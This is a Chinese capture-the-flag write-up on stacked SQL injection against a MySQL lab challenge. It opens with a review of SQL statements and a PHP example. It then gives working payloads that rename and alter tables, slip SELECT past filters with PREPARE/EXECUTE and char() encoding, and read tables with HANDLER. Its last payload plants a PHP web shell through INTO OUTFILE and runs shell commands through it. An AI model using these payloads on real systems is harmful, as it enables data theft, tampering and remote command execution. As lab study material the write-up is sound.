姿势一:利用堆叠注入
堆叠注入:
在sql语句中可以使用分号;来执行多个sql语句,跟union语句差不多,但是堆叠注入中,后面的语句可以是任意语句,但是union的语句是有局限的。
参考:https://www.cnblogs.com/0nth3way/articles/7128189.html
sql语句:
show语句:
一般用的就是前面几个
1. show tables或show tables from database_name; -- 显示当前数据库中所有表的名称。
2. show databases; -- 显示mysql中所有数据库的名称。
3. show columns from table_name from database_name; 或show columns from database_name.table_name; -- 显示表中列名称。
4. show grants for user_name; -- 显示一个用户的权限,显示结果类似于grant 命令。
5. show index from table_name; -- 显示表的索引。
6. show status; -- 显示一些系统特定资源的信息,例如,正在运行的线程数量。
7. show variables; -- 显示系统变量的名称和值。
8. show processlist; -- 显示系统中正在运行的所有进程,也就是当前正在执行的查询。大多数用户可以查看他们自己的进程,但是如果他们拥有process权限,就可以查看所有人的进程,包括密码。
9. show table status; -- 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。
10. show privileges; -- 显示服务器所支持的不同权限。
11. show create database database_name; -- 显示create database 语句是否能够创建指定的数据库。
12. show create table table_name; -- 显示create database 语句是否能够创建指定的数据库。
13. show engines; -- 显示安装以后可用的存储引擎和默认引擎。
14. show innodb status; -- 显示innoDB存储引擎的状态。
15. show logs; -- 显示BDB存储引擎的日志。
16. show warnings; -- 显示最后一个执行的语句所产生的错误、警告和通知。
17. show errors; -- 只显示最后一个执行语句所产生的错误。
18. show [storage] engines; --显示安装后的可用存储引擎和默认引擎。
like语句
WHERE 子句中可以使用等号 = 来设定获取数据的条件,如 "runoob_author = 'RUNOOB.COM'"。
但是有时候我们需要获取 runoob_author 字段含有 "COM" 字符的所有记录,这时我们就需要在 WHERE 子句中使用 SQL LIKE 子句。
SQL LIKE 子句中使用百分号 %字符来表示任意字符,类似于UNIX或正则表达式中的星号 *。
如果没有使用百分号 %, LIKE 子句与等号 = 的效果是一样的。
所以程度上,=跟like有点差别
测试
<?php
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = '123456'; // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);//连接数据库
if(! $conn )
{
die('连接失败: ' . mysqli_error($conn));
}
// 设置编码,防止中文乱码
mysqli_query($conn , "set names utf8");//执行sql语句
$sql = 'SELECT runoob_id, runoob_title,
runoob_author, submission_date
FROM runoob_tbl
WHERE runoob_author LIKE "%COM"';
mysqli_select_db( $conn, 'RUNOOB' );//在这个数据库中
$retval = mysqli_query( $conn, $sql );
if(! $retval )
{
die('无法读取数据: ' . mysqli_error($conn));
}
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
{
echo "<tr><td> {$row['runoob_id']}</td> ".
"<td>{$row['runoob_title']} </td> ".
"<td>{$row['runoob_author']} </td> ".
"<td>{$row['submission_date']} </td> ".
"</tr>";
}
echo '</table>';
mysqli_close($conn);
?>
rename语句
修改表名:rename table 原表名 to 新表名;
load_file语句
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
LOAD_FILE(file_name)其中file_name是文件的完整路径。
SELECT LOAD_FILE('/data/test.txt') AS Result;
Result
This text is all that the file contains!
desc语句
desc+表名,获取表的结构
alter语句
删除i字段:
ALTER TABLE testalter_tbl DROP i;
添加字段,并定义数据类型:
ALTER TABLE testalter_tbl ADD i INT;
指定新增字段的位置:
ALTER TABLE testalter_tbl ADD i INT FIRST;
ALTER TABLE testalter_tbl ADD i INT AFTER c;
修改字段名称和数据类型
ALTER TABLE testalter_tbl MODIFY c CHAR(10);
mysql> ALTER TABLE testalter_tbl CHANGE i j BIGINT;
mysql> ALTER TABLE testalter_tbl CHANGE j j INT;
修改表名:
ALTER TABLE testalter_tbl RENAME TO alter_tbl;
其他回顾
创建数据库,create
创建表:create table{数据类型+字段名}
删除数据库:drop,delete
选择数据库:mysqli_select_db($con,"root")
连接数据库:mysqli_connect()
插入数据:insert into table_name() values()
where语句:
delete:delete from table_name from
update: update table_name set ... where
wp
验证是字符型注入(自己验证)
使用show语句
得到表words和1919810931114514
查表的字段名
根据输入查询的结果,可以猜测sql语句构成
select id,data from words where id=
思考,在另外一个表中有flag,但是不能显现,而words中可以显现,所以想到了改名的方法
1.将words表改为其他的
2.将1919810931114514改成words
3.将flag改为id或者data
payload
1';rename tables `words` to `abc`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100)
然后使用万能密码:1’ or 1=1#
姿势2:利用预处理语句
参考
预处理语句:
PREPARED是预定义语句
EXECUTE是执行预定义语句
DEALLOCATE是释放预定义语句
例子
SET @tn = 'words'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
concat就是把字符串拼接起来,group_concat也是将字符串拼接起来。
payload:
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARED st from @sqli;EXECUTE st;#
1';PREPARED st from concat('s','elect * from `1919810931114514`');EXECUTE st;#
姿势3:handler处理
handler语句
handler语句就是可以一个一个去读取表中的内容。
payload
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
姿势4:预处理+命令执行
payload
1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
然后
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"
得到flag
参考链接:
https://www.jianshu.com/p/36f0772f5ce8(wp)
https://blog.youkuaiyun.com/xlxxcc/article/details/52637873(利用into outfile给网站留后门)
https://www.cnblogs.com/iforever/p/4459857.html(shell操作mysql)